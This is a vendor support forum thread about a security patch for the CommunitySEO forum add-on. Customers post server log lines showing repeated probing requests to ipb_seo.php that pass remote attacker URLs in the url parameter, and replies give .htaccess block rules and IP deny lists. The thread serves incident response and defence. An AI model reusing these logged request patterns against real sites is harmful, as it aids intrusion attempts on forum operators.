![]() ![]() |
CommunitySEO 1.1.4 P1 Released |
Dec 4 2007, 05:38 AM
Post
#1
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
Through bug reports from our users we have found a potential vulnerability in CommunitySEO that when exploited may allow a malicious user to perform a limited SQL injection on your site (IPB filters UNION and sub-select queries). The scope of the attack is very limited and no such attacks have been reported to date. Nevertheless, we pledge to patch all reported and confirmed security issues as soon as we are notified and as a result we are releasing 1.1.4 P1.
To upgrade, download the main package from your client area and upload only the ipb_seo.php file in your root forum directory. No other action is required (you do not need to run the upgrader). |
|
|
|
Dec 4 2007, 05:47 AM
Post
#2
|
|
![]() Advanced Member ![]() ![]() ![]() Group: Customers Posts: 384 Joined: 22-March 07 From: between TURKEY and France :D Member No.: 48 |
To upgrade, download the main package from your client area and upload only the ipb_seo.php file in your root forum directory. No other action is required (you do not need to run the upgrader). So easy, Thanks for Security update!
-------------------- Excuse-me everybody. My English isn't good!!!
|
|
|
|
Dec 4 2007, 05:51 AM
Post
#3
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
Dan and I researched this a bit more and wanted to point out that IPB already provides some strong protections against SQL injection. For example, UNION and sub-select queries are filtered, and as a result it is extremely unlikely any sensitive data could be obtained. Still, we would never want to leave a potential issue sitting unreported and unresolved.
|
|
|
|
Dec 4 2007, 07:14 AM
Post
#4
|
|
![]() Advanced Member ![]() ![]() ![]() Group: Root Admin Posts: 593 Joined: 3-February 07 Member No.: 2 |
Indeed, We know the post may come off as doomsday, but thats only because we want to release updates for anything even if its a "one in a million chance" - we want all bases covered.
|
|
|
|
Dec 17 2007, 02:01 AM
Post
#5
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 246 Joined: 9-November 07 From: Middle of the Desert state Member No.: 574 |
Someone might be attempting to exploit what this patch fixes from the looks of my logs.
I estimate about 30 hits in serveral mins from many hosts that look like this. CODE Host: 62.193.234.109 /forums/ipb_seo.php?url=http://rundude.pop3.ru/body? Http Code: 302 Date: Dec 17 00:57:16 Http Version: HTTP/1.1 Size in Bytes: 5 Referer: http://www.altavista.com/web/results?itag=ody&kgs=1&kls=0&q=search&stq=0 Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.7) Gecko/2006031 Firefox/2.0.0 I've managed blocked any such future requests by blocking the refer. This is the second such attack in a week on my site using the same code found at http://rundude.pop3.ru/body? Links and References to Other Pages: http://rundude.pop3.ru/body |
|
|
|
Dec 17 2007, 06:03 AM
Post
#6
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
Well, in order for them to trigger the error, you'd have to see special characters (quotes and such) in the referrer. Even then, as stated before, it's highly unlikely they'd get anywhere, because IPB blocks all the normal avenues a hacker would take (sub-select or union-select query).
Nevertheless, to be safe I'd just upload the ipb_seo.php file currently in the client area downloads section. It only takes a second to do. |
|
|
|
Dec 17 2007, 07:00 PM
Post
#7
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 246 Joined: 9-November 07 From: Middle of the Desert state Member No.: 574 |
I did was just letting you get a look at the attack code some was trying to use on the site.
|
|
|
|
Dec 17 2007, 07:22 PM
Post
#8
|
|
![]() Advanced Member ![]() ![]() ![]() Group: Root Admin Posts: 593 Joined: 3-February 07 Member No.: 2 |
They are using communityseo ipb_seo.php as a tinyurl of sorts, redirecting zombies or users to go to ipb_seo.php?url=blah
I will talk to admin about the possibility of allowing users to rename the ipb_seo.php file @ will via configs. Its strange, because we also had hundreds of users requesting the url over and over again and we couldnt figure out why. |
|
|
|
Dec 18 2007, 10:25 AM
Post
#9
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 41 Joined: 2-October 07 Member No.: 509 |
Someone might be attempting to exploit what this patch fixes from the looks of my logs. I estimate about 30 hits in serveral mins from many hosts that look like this. CODE Host: 62.193.234.109 /forums/ipb_seo.php?url=http://rundude.pop3.ru/body? Http Code: 302 Date: Dec 17 00:57:16 Http Version: HTTP/1.1 Size in Bytes: 5 Referer: http://www.altavista.com/web/results?itag=ody&kgs=1&kls=0&q=search&stq=0 Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.7.7) Gecko/2006031 Firefox/2.0.0 I've managed blocked any such future requests by blocking the refer. This is the second such attack in a week on my site using the same code found at http://rundude.pop3.ru/body? I'm getting hammered in the same way - how did you block the refer, please? Also, I tried uploading the file mentioned at the start of this thread and it crashes my board with the follwing error: CODE Site error: the file [b]/xxxx/xxxx/public_html/forums/ipb_seo.php[/b] requires the ionCube PHP Loader ioncube_loader_lin_4.4.so to be installed by the site administrator. Any ideas, anyone? tia, Elton |
|
|
|
Dec 18 2007, 07:43 PM
Post
#10
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
If you're getting that error it means ioncube isn't installed. Try uploading the included ioncube folder, but if that fails you'd need to contact your host and ask them to install ioncube.
In all honesty, you should have been getting errors all along if you are getting that error now. |
|
|
|
Dec 19 2007, 12:31 AM
Post
#11
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 41 Joined: 2-October 07 Member No.: 509 |
That's just it - afaik, Ioncube *is* installed. It's my own server and Ioncube had to be installed before we added your software originally. I'll ask a techy friend to confirm the state of play.
Any advice regarding this rundude.pop3.ru issue? I've Googled it and it appears that it may relate to Community SEO. atb, Elton |
|
|
|
Dec 19 2007, 04:32 AM
Post
#12
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
Alright guys, here's a quick and easy "fix" for whoever is doing this.
By the way, if you google the URL they're not attacking CommunitySEO specifically. I see attacks against Mamba logged elsewhere too. I've gone over the code in question in great detail the last 2 days and determined there is nothing to worry about on CommunitySEO's end (we take the URL, log the request, and redirect you, and that's about it). This .htaccess rule will block the request sending a 403 error (if that specific url is requested) CODE RewriteCond %{QUERY_STRING} ^url=http:\/\/rundude\.pop3\.ru\/body.*$ RewriteRule ^(.*)$ /forums.html [f] Just add the code to your forums .htaccess file right at the top of the file below RewriteBase. CODE # This is usually not needed. #RewriteBase /YourForumDirectory Feel free to try the link here to confirm it's Forbidden. |
|
|
|
Dec 19 2007, 01:28 PM
Post
#13
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 124 Joined: 10-September 07 From: CA Member No.: 459 |
|
|
|
|
Dec 20 2007, 04:34 AM
Post
#14
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
See my post above. The .htaccess rule should block them before the php script even runs.
|
|
|
|
Dec 20 2007, 05:28 AM
Post
#15
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 41 Joined: 2-October 07 Member No.: 509 |
|
|
|
|
Dec 22 2007, 06:49 AM
Post
#16
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
Nothing really. The page they are linking to is an exploit, but CSEO isn't exploitable in this area so I think they're just poking right now trying to see if they can find a problem. Ultimately all they acheive is a typical DOS attack, which you can't protect from at the script level effectively.
|
|
|
|
Dec 28 2007, 11:33 AM
Post
#17
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 124 Joined: 10-September 07 From: CA Member No.: 459 |
Thanks. They appear to have gone away on their own after my previous post.
|
|
|
|
Feb 1 2008, 08:54 PM
Post
#18
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 246 Joined: 9-November 07 From: Middle of the Desert state Member No.: 574 |
Thanks. They appear to have gone away on their own after my previous post. Na he switched urls, hit me again from http://holengirl.eclub.lv/images/me? Already emailed upstream providers and added following to my .htaccess right under line provided by admin. CODE RewriteCOnd %{QUERY_STRING} ^url=http:\/\holengirl\.eclub\.lv\/images\/me.*$ Edit: And added following IP blocks to my deny list as theres no reason for a server from the planet to be querying my server anyway. CODE deny from 74.52.0.0/15
deny from 74.54.0.0/16 This post has been edited by twistedgamer: Feb 1 2008, 08:57 PM |
|
|
|
Feb 2 2008, 05:32 AM
Post
#19
|
|
|
Administrator ![]() ![]() ![]() Group: Root Admin Posts: 3,731 Joined: 25-January 07 Member No.: 1 |
If his server is at the planet you can probably contact the planet - they're a big host and are based in the US, so would likely respond to a complaint such as this.
|
|
|
|
Feb 2 2008, 03:33 PM
Post
#20
|
|
|
Advanced Member ![]() ![]() ![]() Group: Customers Posts: 246 Joined: 9-November 07 From: Middle of the Desert state Member No.: 574 |
If his server is at the planet you can probably contact the planet - they're a big host and are based in the US, so would likely respond to a complaint such as this. I did. Hopefully they pull the box off line soon. Got hit again today from the old website from this ip block CODE deny from 216.55.128.0/18 Emailed them and there up stream. This person is persistent thats for sure. |
|
|
|
![]() ![]() |
Links to this thread
Similar Topics
| Topic Title | Replies | Topic Starter | Views | Last Action | ||
|---|---|---|---|---|---|---|
![]() |
0 | admin | 5,636 | 4th February 2007 - 08:41 AM Last post by: admin |
||
![]() |
1 | admin | 2,049 | 3rd March 2007 - 06:22 AM Last post by: admin |
||
![]() |
3 | admin | 2,499 | 10th October 2007 - 08:20 AM Last post by: modaco |
||
![]() |
3 | admin | 1,290 | 21st November 2007 - 04:10 PM Last post |